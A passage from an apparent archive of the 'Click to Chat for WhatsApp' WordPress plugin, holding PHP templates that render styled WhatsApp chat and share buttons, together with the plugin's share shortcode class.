    if ( '' !== $s_99_desktop_img_width ) {
        $s_99_img_css .= "width: $s_99_desktop_img_width; ";
    }
}

// fallback image
if ( '' == $s_99_own_image ) {
    $s_99_own_image = plugins_url( './new/inc/assets/img/whatsapp-logo.svg', HT_CTC_PLUGIN_FILE );
}

?>

<img class="own-img ctc-analytics ctc_s_99 ctc_cta" title="<?= $call_to_action ?>" id="style-99" src="<?= $s_99_own_image ?>" style="<?= $s_99_img_css ?>" alt="<?= $call_to_action ?>">click-to-chat-for-whatsapp/new/inc/styles/style-3_1.php000064400000010136147510273110016717 0ustar00<?php
/**
 * Style - 3_1 - s3 extend
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s3_1_options = get_option( 'ht_ctc_s3_1' );
$s3_1_options = apply_filters( 'ht_ctc_fh_s3_1_options', $s3_1_options );

$img_size = isset( $s3_1_options['s3_img_size']) ? esc_attr( $s3_1_options['s3_img_size']) : '';
// Set fallback image size if not defined
if ( '' == $img_size ) {
    $img_size = "40px";
}

// Call to action 
$s3_1_cta_type = (isset( $s3_1_options['cta_type'])) ? esc_attr( $s3_1_options['cta_type'] ) : 'hover';

$s3_1_cta_order = "1";
if ( isset( $side_2 ) && 'right' == $side_2) {
    // if side_2 is right then cta is left
    $s3_1_cta_order = "0";
}

$s3_1_cta_textcolor = ( isset( $s3_1_options['cta_textcolor'] ) ) ? esc_attr( $s3_1_options['cta_textcolor'] ) : '';
$s3_1_cta_bgcolor = ( isset( $s3_1_options['cta_bgcolor'] ) ) ? esc_attr( $s3_1_options['cta_bgcolor'] ) : '#ffffff';
$s3_1_cta_font_size = ( isset( $s3_1_options['cta_font_size'] ) ) ? esc_attr( $s3_1_options['cta_font_size'] ) : '';

$s3_1_cta_textcolor = ( '' !== $s3_1_cta_textcolor ) ? "color: $s3_1_cta_textcolor" : "";
$s3_1_cta_bgcolor = ( '' !== $s3_1_cta_bgcolor ) ? "background-color: $s3_1_cta_bgcolor" : "";
$s3_1_cta_font_size = ( '' !== $s3_1_cta_font_size ) ? "font-size: $s3_1_cta_font_size" : "";

$s3_1_cta_css = "padding: 0px 16px; line-height: 1.6; $s3_1_cta_font_size; $s3_1_cta_bgcolor; $s3_1_cta_textcolor; border-radius:10px; margin:0 10px; ";
$s3_1_cta_class = "ht-ctc-cta ";
$title = "";
if ( 'hover' == $s3_1_cta_type ) {
    $s3_1_cta_css .= " display: none; order: $s3_1_cta_order; ";
    $s3_1_cta_class .= " ht-ctc-cta-hover ";
} elseif ( 'show' == $s3_1_cta_type ) {
    $s3_1_cta_css .= "order: $s3_1_cta_order; ";
} elseif ( 'hide' == $s3_1_cta_type ) {
    $s3_1_cta_css .= " display: none; ";
    $title = "title = '$call_to_action'";
}

$ht_ctc_svg_css = "pointer-events:none; display:block; height:$img_size; width:$img_size;";

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';


$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s3_1_css = "display:flex;justify-content:center;align-items:center;$rtl_css ";

// extend
$s3_1_padding = ( isset( $s3_1_options['s3_padding']) ) ? esc_attr( $s3_1_options['s3_padding'] ) : '';
$s3_1_bg_color = ( isset( $s3_1_options['s3_bg_color']) ) ? esc_attr( $s3_1_options['s3_bg_color'] ) : '#25D366';
$s3_1_bg_color_hover = ( isset( $s3_1_options['s3_bg_color_hover']) ) ? esc_attr( $s3_1_options['s3_bg_color_hover'] ) : '#25D366';

$s3_1_box_shadow = "";
if ( isset( $s3_1_options['s3_box_shadow'])) {
    $s3_1_box_shadow = "box-shadow: 0px 0px 11px rgba(0,0,0,.5);";
}
$s3_1_extend_css = "background-color: $s3_1_bg_color; padding: $s3_1_padding; border-radius: 50%; $s3_1_box_shadow";

$s3_1_box_shadow_hover = "";
if ( isset( $s3_1_options['s3_box_shadow_hover'])) {
    $s3_1_box_shadow_hover = "box-shadow:0px 0px 11px rgba(0,0,0,.5);";
}
// hover css
$s3_1_hover_css = "background-color:$s3_1_bg_color_hover !important;$s3_1_box_shadow_hover";

$others = array(
    'bg_color' => "$s3_1_bg_color",
);

// defatul order is based on desktop. if desktop and mobile not same side. then add class name to change order..
if ( isset( $is_same_side ) && 'no' == $is_same_side && isset( $mobile_side ) ) {
    $s3_1_cta_class .= ( 'left' == $mobile_side) ? " ctc_m_cta_order_1 " : " ctc_m_cta_order_0 " ;
}

?>
<style id="ht-ctc-s3">
.ht-ctc .ctc_s_3_1:hover svg stop{stop-color:<?= $s3_1_bg_color_hover ?>;}.ht-ctc .ctc_s_3_1:hover .ht_ctc_padding,.ht-ctc .ctc_s_3_1:hover .ctc_cta_stick{<?= $s3_1_hover_css ?>}
</style>

<div <?= $title ?> style="<?= $s3_1_css ?>" class="ctc_s_3_1 ctc_s3_1 ctc_nb" data-nb_top="-4px" data-nb_right="-4px">
    <p class="ctc-analytics ctc_cta ctc_cta_stick <?= $s3_1_cta_class ?>" style="<?= $s3_1_cta_css ?>"><?= $call_to_action ?></p>
    <div class="ctc-analytics ht_ctc_padding" style="<?= $s3_1_extend_css ?>">
        <?= ht_ctc_style_3_1_svg( $img_size, $type, $ht_ctc_svg_css, $others ); ?>
    </div>
</div>click-to-chat-for-whatsapp/new/inc/styles/style-2.php000064400000005770147510273110016506 0ustar00<?php
/**
 * Style - 2
 * 
 * Android like - WhatsApp icon
 * 
 * 
 * @included from
 *  class-ht-ctc-chat.php (class-ht-ctc- chat/group/share .php)
 *  class-ht-ctc-woo.php
 * 
 * External variable are from included files:
 *  $call_to_action
 *  $type
 *  $side_2 (sub file: position-to-place.php is included in some of the files that included this file )
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s2_options = get_option( 'ht_ctc_s2' );
$s2_options = apply_filters( 'ht_ctc_fh_s2_options', $s2_options );

$s2_img_size = (isset( $s2_options['s2_img_size'])) ? esc_attr( $s2_options['s2_img_size'] ) : '';
$img_size = $s2_img_size;
if ( '' == $img_size ) {
    $img_size = "50px";
}

// Call to action 
$s2_cta_type = (isset( $s2_options['cta_type'])) ? esc_attr( $s2_options['cta_type'] ) : 'hover';

$s2_cta_order = "1";
if ( isset($side_2) && 'right' == $side_2) {
    // if side_2 is right then cta is left
    $s2_cta_order = "0";
}

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s2_cta_textcolor = (isset( $s2_options['cta_textcolor'])) ? esc_attr( $s2_options['cta_textcolor'] ) : '';
$s2_cta_bgcolor = (isset( $s2_options['cta_bgcolor'])) ? esc_attr( $s2_options['cta_bgcolor'] ) : '#ffffff';
$s2_cta_font_size = (isset( $s2_options['cta_font_size'])) ? esc_attr( $s2_options['cta_font_size'] ) : '';

$s2_cta_textcolor = ('' !== $s2_cta_textcolor) ? "color: $s2_cta_textcolor" : "";
$s2_cta_bgcolor = ('' !== $s2_cta_bgcolor) ? "background-color: $s2_cta_bgcolor" : "";
$s2_cta_font_size = ('' !== $s2_cta_font_size) ? "font-size: $s2_cta_font_size" : "";

$s2_css = "display: flex; justify-content: center; align-items: center; $rtl_css ";
$s2_cta_css = "padding: 0px 16px; line-height: 1.6; $s2_cta_font_size; $s2_cta_bgcolor; $s2_cta_textcolor; border-radius:10px; margin:0 10px; ";
$s2_cta_class = "ht-ctc-cta ";
$title = "";
if ( 'hover' == $s2_cta_type ) {
    $s2_cta_css .= " display: none; order: $s2_cta_order; ";
    $s2_cta_class .= " ht-ctc-cta-hover ";
} elseif ( 'show' == $s2_cta_type ) {
    $s2_cta_css .= "order: $s2_cta_order; ";
} elseif ( 'hide' == $s2_cta_type ) {
    $s2_cta_css .= " display: none; ";
    $title = "title = '$call_to_action'";
}

// default order is based on desktop. if desktop and mobile not same side. then add class name to change order..
if ( isset($is_same_side) && 'no' == $is_same_side && isset($mobile_side) ) {
    $s2_cta_class .= ( 'left' == $mobile_side) ? " ctc_m_cta_order_1 " : " ctc_m_cta_order_0 " ;
}

$ht_ctc_svg_css = "pointer-events:none; display:block; height:$img_size; width:$img_size;";

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
?>
<div <?= $title ?> style="<?= $s2_css; ?>" class="ctc-analytics ctc_s_2">
    <p class="ctc-analytics ctc_cta ctc_cta_stick <?= $s2_cta_class ?>" style="<?= $s2_cta_css ?>"><?= $call_to_action; ?></p>
    <?= ht_ctc_style_2_svg( $img_size, $type, $ht_ctc_svg_css ); ?>
</div>click-to-chat-for-whatsapp/new/inc/styles/style-5.php000064400000010475147510273110016507 0ustar00<?php
/**
 * Style - 5
 * image with content slider
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s5_options = get_option( 'ht_ctc_s5' );
$s5_options = apply_filters( 'ht_ctc_fh_s5_options', $s5_options );

$s5_line_1 = isset( $s5_options['s5_line_1'] ) ? esc_attr( $s5_options['s5_line_1'] ) : '';
$s5_line_2 = isset( $s5_options['s5_line_2'] ) ? esc_attr( $s5_options['s5_line_2'] ) : '';
$s5_line_1_color = isset( $s5_options['s5_line_1_color'] ) ? esc_attr( $s5_options['s5_line_1_color'] ) : '#000000';
$s5_line_2_color = isset( $s5_options['s5_line_2_color'] ) ? esc_attr( $s5_options['s5_line_2_color'] ) : '#000000';
$s5_background_color = isset( $s5_options['s5_background_color'] ) ? esc_attr( $s5_options['s5_background_color'] ) : '#ffffff';
$s5_border_color = isset( $s5_options['s5_border_color'] ) ? esc_attr( $s5_options['s5_border_color'] ) : '#dddddd';
$s5_img = isset( $s5_options['s5_img']) ? esc_attr( $s5_options['s5_img']) : '';
$s5_img_height = isset( $s5_options['s5_img_height'] ) ? esc_attr( $s5_options['s5_img_height'] ) : '70px';
$s5_img_width = isset( $s5_options['s5_img_width'] ) ? esc_attr( $s5_options['s5_img_width'] ) : '70px';
$s5_content_height = isset( $s5_options['s5_content_height'] ) ? esc_attr( $s5_options['s5_content_height'] ) : '70px';
$s5_content_width = isset( $s5_options['s5_content_width'] ) ? esc_attr( $s5_options['s5_content_width'] ) : '270px';
$s5_img_position = isset( $s5_options['s5_img_position'] ) ? esc_attr( $s5_options['s5_img_position'] ) : 'right';

// calling from parent page
$call_to_action = isset ($call_to_action) ? $call_to_action : '';


// if its came from woo page.. 
if ( isset( $calling_from ) && 'woo_page' == $calling_from ) {
    $s5_img_position = 'left';
}

// default image - if user not added any image
if ( '' == $s5_img ) {
    $s5_img = plugins_url( './new/inc/assets/img/new_style8.jpg', HT_CTC_PLUGIN_FILE );
}

if ( '' == $s5_line_1 ) {
    $s5_line_1 = $call_to_action;
}

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s5_cta_style = "display: -ms-flexbox;display: -webkit-flex; display: flex;$rtl_css ";


$s5_img_style = '';
$s5_img_style .= 'height: '.$s5_img_height.'; width: '.$s5_img_width.'; z-index: 999999;  ';
if ( 'right' == $s5_img_position ) {
    $s5_img_style .= 'order: 1;';
}

$s5_content_style = '';
$s5_content_style .= 'flex-direction: column; justify-content: center; align-items: center;    ';
$s5_content_style .= ' background-color: '.$s5_background_color.'; border: 1px solid '.$s5_border_color.'; height: '.$s5_content_height.'; width: '.$s5_content_width.';  ';
if ( 'right' == $s5_img_position ) {
    $s5_content_style .= 'margin-right: -4px;';
} elseif ( 'left' == $s5_img_position ) {
    $s5_content_style .= 'margin-left: -4px;';
}

$s5_css_code = '
.ht-ctc-style-5 .s5_img{box-shadow:2px 5px 10px rgba(0,0,0,.5)}.ht-ctc-style-5 .s5_content{box-shadow:2px 5px 10px rgba(0,0,0,.5);border-radius:5px}.ht-ctc-style-5 .s5_content span{padding:5px;overflow:hidden}.ht-ctc-style-5 .s5_content .heading{font-size:20px}.ht-ctc-style-5 .s5_content .description{font-size:12px}.ht-ctc-style-5 .s5_content.right{animation:1s s5_translate_right}.ht-ctc-style-5 .s5_content.left{animation:1s s5_translate_left}@keyframes s5_translate_right{0%{transform:translateX(55px)}100%{transform:translateX(0)}}@keyframes s5_translate_left{0%{transform:translateX(-55px)}100%{transform:translateX(0)}}
';

$o = '';
$o .= '<style>';
$o .= '.ht-ctc-style-5 .s5_content{display:none}.ht-ctc-style-5 .s5_cta:hover .s5_content{display:flex}';
$o .= $s5_css_code;
$o .= '</style>';

echo $o;

?>

<div class="ht-ctc-style-5 ctc-analytics ctc_s_5" style="cursor: pointer; z-index: 99999999;" >

    <div class="s5_cta" style="<?= $s5_cta_style ?>"   >
        <img class="s5_img ctc-analytics" src="<?= $s5_img ?>" style="<?= $s5_img_style ?>" alt="<?= $call_to_action ?>">
        <div class="s5_content ctc-analytics ctc_cta_stick <?= $s5_img_position ?>" style="<?= $s5_content_style ?>" >
            <span class="heading ctc-analytics ctc_cta" style="color: <?= $s5_line_1_color ?>"><?= $s5_line_1 ?></span>
            <span class="description ctc-analytics" style="color: <?= $s5_line_2_color ?>"><?= $s5_line_2 ?></span>
        </div>
    </div>

</div>
click-to-chat-for-whatsapp/new/inc/styles/style-4.php000064400000004627147510273110016510 0ustar00<?php
/**
 * Style - 4
 * 
 * Chip
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s4_options = get_option( 'ht_ctc_s4' );
$s4_options = apply_filters( 'ht_ctc_fh_s4_options', $s4_options );

$s4_text_color = isset( $s4_options['s4_text_color'] ) ? esc_attr( $s4_options['s4_text_color'] ) : '#000000';

$s4_bg_color = isset( $s4_options['s4_bg_color'] ) ? esc_attr( $s4_options['s4_bg_color'] ) : '#e4e4e4';
$s4_img_url = isset( $s4_options['s4_img_url'] ) ? esc_attr( $s4_options['s4_img_url'] ) : '';
$s4_img_position = ( isset( $s4_options['s4_img_position']) ) ? esc_attr( $s4_options['s4_img_position'] ) : 'left';
$s4_img_size = ( isset( $s4_options['s4_img_size']) ) ? esc_attr( $s4_options['s4_img_size'] ) : '';
if ( '' == $s4_img_size ) {
    $s4_img_size = "32px";
}

if ( '' == $call_to_action ) {
    $call_to_action = "WhatsApp us";
}

if ( 'left' == $s4_img_position ) {
    $s4_margin = "0 8px 0 -12px;";
    // $s4_margin = "0 8px 0 -13px;";
    $s4_order = "0";
} else {
    $s4_margin = "0 -12px 0 8px;";
    $s4_order = "1";
}

$rtl_css = "";
if ( is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

// 3.30 class name chip is replaced as ctc_chip (to avoid conflict with other styles)

$s4_chip_css = "display:flex;justify-content: center;align-items: center;background-color:$s4_bg_color;color:$s4_text_color;padding:0 12px;border-radius:25px;font-size:13px;line-height:32px;$rtl_css ";
$s4_chip_svg_css ="margin:$s4_margin;order:$s4_order;";
$s4_chip_img_css ="margin:$s4_margin;order:$s4_order;height:$s4_img_size;width:$s4_img_size;border-radius:50%";
$ht_ctc_svg_css = "pointer-events:none; display: block; height:$s4_img_size; width:$s4_img_size;";
?>

<div class="ctc_chip ctc-analytics ctc_s_4 ctc_nb" style="<?= $s4_chip_css ?>" data-nb_top="-10px" data-nb_right="-10px">
    <?php
    if ( '' == $s4_img_url ) {
        include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
        $type = "$type-s4";
        ?>
        <span class="s4_img" style="<?= $s4_chip_svg_css ?>"><?= ht_ctc_style_3_svg( $s4_img_size, $type, $ht_ctc_svg_css ); ?></span>
        <?php
    } else {
        // if user changed the image
        ?>
        <img class="s4_img" style="<?= $s4_chip_img_css ?>" src="<?= $s4_img_url ?>" alt="<?= $call_to_action ?>">
        <?php
    }
    ?>
    <span class="ctc_cta"><?= $call_to_action ?></span>
</div>click-to-chat-for-whatsapp/new/inc/styles/style-3.php000064400000005311147510273110016476 0ustar00<?php
/**
 * Style - 3
 * 
 * WhatsApp icon
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s3_options = get_option( 'ht_ctc_s3' );
$s3_options = apply_filters( 'ht_ctc_fh_s3_options', $s3_options );
$s3_type = ( isset( $s3_options['s3_type']) ) ? esc_attr( $s3_options['s3_type'] ) : 'simple';

$s3_img_size = (isset( $s3_options['s3_img_size'])) ? esc_attr( $s3_options['s3_img_size'] ) : '';
$img_size = $s3_img_size;
if ( '' == $img_size ) {
    $img_size = "50px";
}

// Call to action 
$s3_cta_type = (isset( $s3_options['cta_type'])) ? esc_attr( $s3_options['cta_type'] ) : 'hover';

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s3_cta_order = "1";
if ( isset( $side_2 ) && 'right' == $side_2) {
    // if side_2 is right then cta is left
    $s3_cta_order = "0";
}

$s3_css = "display:flex;justify-content:center;align-items:center;$rtl_css ";
$s3_cta_textcolor = (isset( $s3_options['cta_textcolor'])) ? esc_attr( $s3_options['cta_textcolor'] ) : '';
$s3_cta_bgcolor = (isset( $s3_options['cta_bgcolor'])) ? esc_attr( $s3_options['cta_bgcolor'] ) : '#ffffff';
$s3_cta_font_size = (isset( $s3_options['cta_font_size'])) ? esc_attr( $s3_options['cta_font_size'] ) : '';

$s3_cta_textcolor = ('' !== $s3_cta_textcolor) ? "color: $s3_cta_textcolor" : "";
$s3_cta_bgcolor = ('' !== $s3_cta_bgcolor) ? "background-color: $s3_cta_bgcolor" : "";
$s3_cta_font_size = ('' !== $s3_cta_font_size) ? "font-size: $s3_cta_font_size" : "";

$s3_cta_css = "padding: 0px 16px; line-height: 1.6; $s3_cta_font_size; $s3_cta_bgcolor; $s3_cta_textcolor; border-radius:10px; margin:0 10px; ";
$s3_cta_class = "ht-ctc-cta ";
$title = "";
if ( 'hover' == $s3_cta_type ) {
    $s3_cta_css .= " display: none; order: $s3_cta_order; ";
    $s3_cta_class .= " ht-ctc-cta-hover ";
} elseif ( 'show' == $s3_cta_type ) {
    $s3_cta_css .= "order: $s3_cta_order; ";
} elseif ( 'hide' == $s3_cta_type ) {
    $s3_cta_css .= " display: none; ";
    $title = "title = '$call_to_action'";
}

$ht_ctc_svg_css = "pointer-events:none; display:block; height:$img_size; width:$img_size;";

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';

if ( isset( $is_same_side ) && 'no' == $is_same_side && isset( $mobile_side ) ) {
    $s3_cta_class .= ( 'left' == $mobile_side) ? " ctc_m_cta_order_1 " : " ctc_m_cta_order_0 " ;
}

?>
<div <?= $title ?> style="<?= $s3_css ?>" class="ctc_s_3 ctc_nb" data-nb_top="-5px" data-nb_right="-5px">
    <p class="ctc-analytics ctc_cta ctc_cta_stick <?= $s3_cta_class ?>" style="<?= $s3_cta_css ?>"><?= $call_to_action; ?></p>
    <?= ht_ctc_style_3_svg( $img_size, $type, $ht_ctc_svg_css ); ?>
</div>click-to-chat-for-whatsapp/new/inc/share/class-ht-ctc-share-shortcode.php000064400000016176147510273110022345 0ustar00<?php
/**
* shortcodes 
* for list of attribute support check  -> shortcode_atts ( $a )
*
* @package chat
* @since 2.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Share_Shortcode' ) ) :
    
class HT_CTC_Share_Shortcode {


    //  Register shortcode
    public function shortcodes_init() {
        add_shortcode( 'ht-ctc-share', array( $this, 'shortcode' ) );
    }

    // call back function - shortcode 
    public function shortcode( $atts = [], $content = null, $shortcode = '' ) {

        $options = get_option('ht_ctc_share');
        $ht_ctc_os = array();

        $share_text_db = esc_attr( $options['share_text'] );
        $call_to_action_db = esc_attr( $options['call_to_action'] );

        $share_text = __( $share_text_db , 'click-to-chat-for-whatsapp' );
        $call_to_action = __( $call_to_action_db , 'click-to-chat-for-whatsapp' );

        $style_desktop = (isset($options['style_desktop'])) ? esc_attr($options['style_desktop']) : '2';
        if (isset($options['same_settings'])) {
            $style_mobile = $style_desktop;
        } else {
            $style_mobile = (isset($options['style_mobile'])) ? esc_attr($options['style_mobile']) : '2';
        }

        $is_mobile = ht_ctc()->device_type->is_mobile();

        $style = $style_desktop;
        if ( 'yes' == $is_mobile ) {
            $style = $style_mobile;
        }

        // $content = do_shortcode($content);

        // $ccw_options_cs = get_option('ccw_options_cs');
        //  use like  $ccw_options_cs['']
        
        $a = shortcode_atts(
            array(
                'share_text' => $share_text,
                'call_to_action' => $call_to_action,
                'style' => $style,
                
                'position' => '',
                'top' => '',
                'right' => '',
                'bottom' => '',
                'left' => '',
                'home' => '',  // home -  to hide on experts .. 
                'hide_mobile' => '',
                'hide_desktop' => '',
                // 'inline_issue' => '',

                's5_img_position' => '',  //left, right
                's5_img_url' => '',
                's5_line_2' => '',

                's8_width' => '',
                's8_icon_position' => '',  // left, right, hide

            ), $atts, $shortcode );
        // use like -  '.esc_attr($a["title"]).'   
        

        // share_text
        $share_text   = esc_attr($a["share_text"]);
        
        $page_url = get_permalink();
        $post_title = esc_html( get_the_title() );

        $share_text = str_replace( array('{{url}}', '{url}', '{{title}}', '{title}', '{{site}}', '{site}' ),  array( $page_url, $page_url, $post_title, $post_title, HT_CTC_BLOG_NAME, HT_CTC_BLOG_NAME ), $share_text );
        
    
        // hide on devices
        // if 'yes' then hide
        $hide_mobile = esc_attr($a["hide_mobile"]);
        $hide_desktop = esc_attr($a["hide_desktop"]);
        
        if( 'yes' == $is_mobile ) {
            if ( 'yes' == $hide_mobile ) {
                return;
            }
        } else {
            if ( 'yes' == $hide_desktop ) {
                return;
            }
        }
        
        
        
        $position   = esc_attr($a["position"]);
        $top        = esc_attr($a["top"]);
        $right      = esc_attr($a["right"]);
        $bottom     = esc_attr($a["bottom"]);
        $left       = esc_attr($a["left"]);
        
        $css = '';

        if ( '' !== $position ) {
            $css .= 'position:'.$position.';';
        }
        if ( '' !== $top ) {
            $css .= 'top:'.$top.';';
        }
        if ( '' !== $right ) {
            $css .= 'right:'.$right.';';
        }
        if ( '' !== $bottom ) {
            $css .= 'bottom:'.$bottom.';';
        }
        if ( '' !== $left ) {
            $css .= 'left:'.$left.';';
        }

        // to hide styles in home page
        $home       = esc_attr($a["home"]);

        // $position !== 'fixed' why !== to avoid double time adding display: none .. 
        if ( 'fixed' !== $position && 'hide' == $home && ( is_home() || is_category() || is_archive() ) ) {
                $css .= 'display:none;';
        }

        // By default position: fixed style hide on home screen, 
        // if plan to show, then add hide='show' ( actually something not equal to 'hide' )
        if ( 'fixed' == $position && 'show' !== $home &&  ( is_home() || is_category() || is_archive() ) ) {
            $css .= 'display:none;';
        }

        $web_api = 'api';

        // if web.whatsapp checked (admin part webandapi)
        if ( isset ( $options['webandapi'] ) ) {
            // mobile
            if ( 'yes' == $is_mobile ) {
                $web_api = 'api';
            } else {
                $web_api = 'web';
            }
        }

        $link = "https://$web_api.whatsapp.com/send?text=$share_text";
        $return_type = "share";

        // call to action
        $call_to_action   = esc_attr($a["call_to_action"]);
        
        $style = esc_attr($a["style"]);
        
        $type = "share-sc";
        $class_names = "ht-ctc-sc ht-ctc-sc-share sc-style-$style";

        // analytics
        $ht_ctc_os['is_ga_enable'] = 'yes';
        $ht_ctc_os['is_fb_pixel'] = 'yes';
        $ht_ctc_os['ga_ads'] = 'no';
        $ht_ctc_os['data-attributes'] = '';
        $ht_ctc_os['class_names'] = '';
        
        // Hooks
        $ht_ctc_os = apply_filters( 'ht_ctc_fh_os', $ht_ctc_os );


        $o = '';

        // shortcode template file path
        $style = sanitize_file_name( $style );
        $sc_path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles-shortcode/sc-style-' . $style. '.php';

        if ( is_file( $sc_path ) ) {
            $o .= '<div data-ctc-link="'.$link.'" data-return_type="'.$return_type.'" data-share_text="'.$share_text.'" data-is_ga_enable="'.$ht_ctc_os['is_ga_enable'].'" data-is_fb_pixel="'.$ht_ctc_os['is_fb_pixel'].'" data-ga_ads="'.$ht_ctc_os['ga_ads'].'" style="display: inline; cursor: pointer; z-index: 99999999; '.$css.'" class="'.$class_names.' ht-ctc-inline">';
            include $sc_path;
            $o .= '</div>';
        } else {
            // if style is not in the list.. 
            $img_link = plugins_url("./new/inc/assets/img/whatsapp-logo.svg", HT_CTC_PLUGIN_FILE );
            $o .= '<div data-ctc-link="'.$link.'" data-return_type="'.$return_type.'" data-is_ga_enable="'.$ht_ctc_os['is_ga_enable'].'" data-is_fb_pixel="'.$ht_ctc_os['is_fb_pixel'].'" data-ga_ads="'.$ht_ctc_os['ga_ads'].'" style="display: inline; cursor: pointer; z-index: 99999999; '.$css.'" class="'.$class_names.' ht-ctc-inline">';
            $o .= '<img class="img-icon-sc sc_item pointer style-3-sc" src="'.$img_link.'" alt="'.$call_to_action.'" style="height: 50px; '.$css.' " >';
            $o .= '</div>';
        }

        
        return $o;

    }


}


$shortcode = new HT_CTC_Share_Shortcode();

add_action('init', array( $shortcode, 'shortcodes_init' ) );

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/share/class-ht-ctc-share.php000064400000016221147510273110020344 0ustar00<?php
/**
 * Share feature - main page
 * 
 * @subpackage share
 * @since 2.0
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Share' ) ) :

class HT_CTC_Share {

    public function __construct() {
        // $this->share();
    }

    public function share() {
        
        $options = get_option('ht_ctc_share');
        $othersettings = get_option('ht_ctc_othersettings');
        $type = "share";
        
        // If db values are not correct
		if ( !is_array($options)  || !isset($options['share_text']) ) {
            return;
        }

        $ht_ctc_share = array();
        $ht_ctc_os = array();

        // share text
        $ht_ctc_share['share_text'] = esc_attr( $options['share_text'] );
        $ht_ctc_share['share_text'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_share['share_text'], 'Click to Chat for WhatsApp', 'share_text__share' );

        // return if share text is blank
        if ( '' == $ht_ctc_share['share_text'] ) {
            return;
        }

        // show/hide
        include HT_CTC_PLUGIN_DIR .'new/inc/commons/show-hide.php';

        if ( 'no' == $display ) {
            return;
        }


        // is mobile to select styles
        $is_mobile = ht_ctc()->device_type->is_mobile();

        // style
        $ht_ctc_share['style_desktop'] = (isset($options['style_desktop'])) ? esc_attr($options['style_desktop']) : '2';
        if (isset($options['same_settings'])) {
            $ht_ctc_share['style_mobile'] = $ht_ctc_share['style_desktop'];
        } else {
            $ht_ctc_share['style_mobile'] = (isset($options['style_mobile'])) ? esc_attr($options['style_mobile']) : '2';
        }

        // position
        include HT_CTC_PLUGIN_DIR .'new/inc/commons/position-to-place.php';
        $ht_ctc_share['position'] = $position;
        $ht_ctc_share['position_mobile'] = $position_mobile;

        // call to action
        $ht_ctc_share['call_to_action'] = esc_html( $options['call_to_action'] );
        $ht_ctc_share['call_to_action'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_share['call_to_action'], 'Click to Chat for WhatsApp', 'call_to_action__share' );

        // class names
        $ht_ctc_share['class_names'] = "ht-ctc ht-ctc-share";

        $page_url = get_permalink();
        $post_title = esc_html( get_the_title() );

        // not singular posts in the loop, return the last post url
        if ( is_home() || !is_singular() ) {
            $page_url = get_bloginfo('url');
            $post_title = HT_CTC_BLOG_NAME;
        }

        $ht_ctc_share['share_text'] = str_replace( array('{{url}}', '{url}', '{{title}}', '{title}', '{{site}}', '{site}' ),  array( $page_url, $page_url, $post_title, $post_title, HT_CTC_BLOG_NAME, HT_CTC_BLOG_NAME ), $ht_ctc_share['share_text'] );

        // webapi: web/api.whatsapp,  api: api.whatsapp
        $ht_ctc_share['webandapi'] = 'api';
        if ( isset( $options['webandapi'] ) ) {
            $ht_ctc_share['webandapi'] = 'webapi';
        }

        $ht_ctc_share['display_mobile'] = (isset($options['display_mobile'])) ? esc_attr($options['display_mobile']) : 'show';
        $ht_ctc_share['display_desktop'] = (isset($options['display_desktop'])) ? esc_attr($options['display_desktop']) : 'show';

        $zindex = (isset($othersettings['zindex'])) ? esc_attr($othersettings['zindex']) : '';
        $zindex = ('' == $zindex) ? '99999999' : $zindex;
        
        $ht_ctc_share['css'] = "display: none; cursor: pointer; z-index: $zindex;";

        // analytics
        $ht_ctc_os['is_ga_enable'] = 'yes';
        $ht_ctc_os['is_fb_pixel'] = 'yes';
        $ht_ctc_os['ga_ads'] = 'no';
        $ht_ctc_os['data-attributes'] = '';
        // show effect
        $ht_ctc_os['show_effect'] = '';
        $ht_ctc_os['class_names'] = '';

        // hooks
        $ht_ctc_share = apply_filters( 'ht_ctc_fh_share', $ht_ctc_share );
        $ht_ctc_os = apply_filters( 'ht_ctc_fh_os', $ht_ctc_os );

        // style for desktop, mobile
        if ( 'yes' == $is_mobile ) {
            $ht_ctc_share['style'] = $ht_ctc_share['style_mobile'];
        } else {
            $ht_ctc_share['style'] = $ht_ctc_share['style_desktop'];
        }

        // @uses at styles / easy call (after filter hook)
        $style = $ht_ctc_share['style'];
        $style_desktop = $ht_ctc_share['style_desktop'];
        $style_mobile = $ht_ctc_share['style_mobile'];
        $call_to_action = $ht_ctc_share['call_to_action'];
        
        $other_classes = $ht_ctc_os['class_names'];

        $ht_ctc_share['class_names'] .= " style-$style $other_classes";

        if ( '' == $call_to_action ) {
            if ( '1' == $style || '4' == $style || '6' == $style || '8' == $style ) {
                $call_to_action = "WhatsApp Share";
            }
        }

        // call style
        $style = sanitize_file_name( $style );
        $path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $style. '.php';

        $style_desktop = sanitize_file_name( $style_desktop );
        $path_d = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $style_desktop. '.php';

        $style_mobile = sanitize_file_name( $style_mobile );
        $path_m = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $style_mobile. '.php';


        if ( is_file( $path ) ) {
            do_action('ht_ctc_ah_before_fixed_position');
            ?>
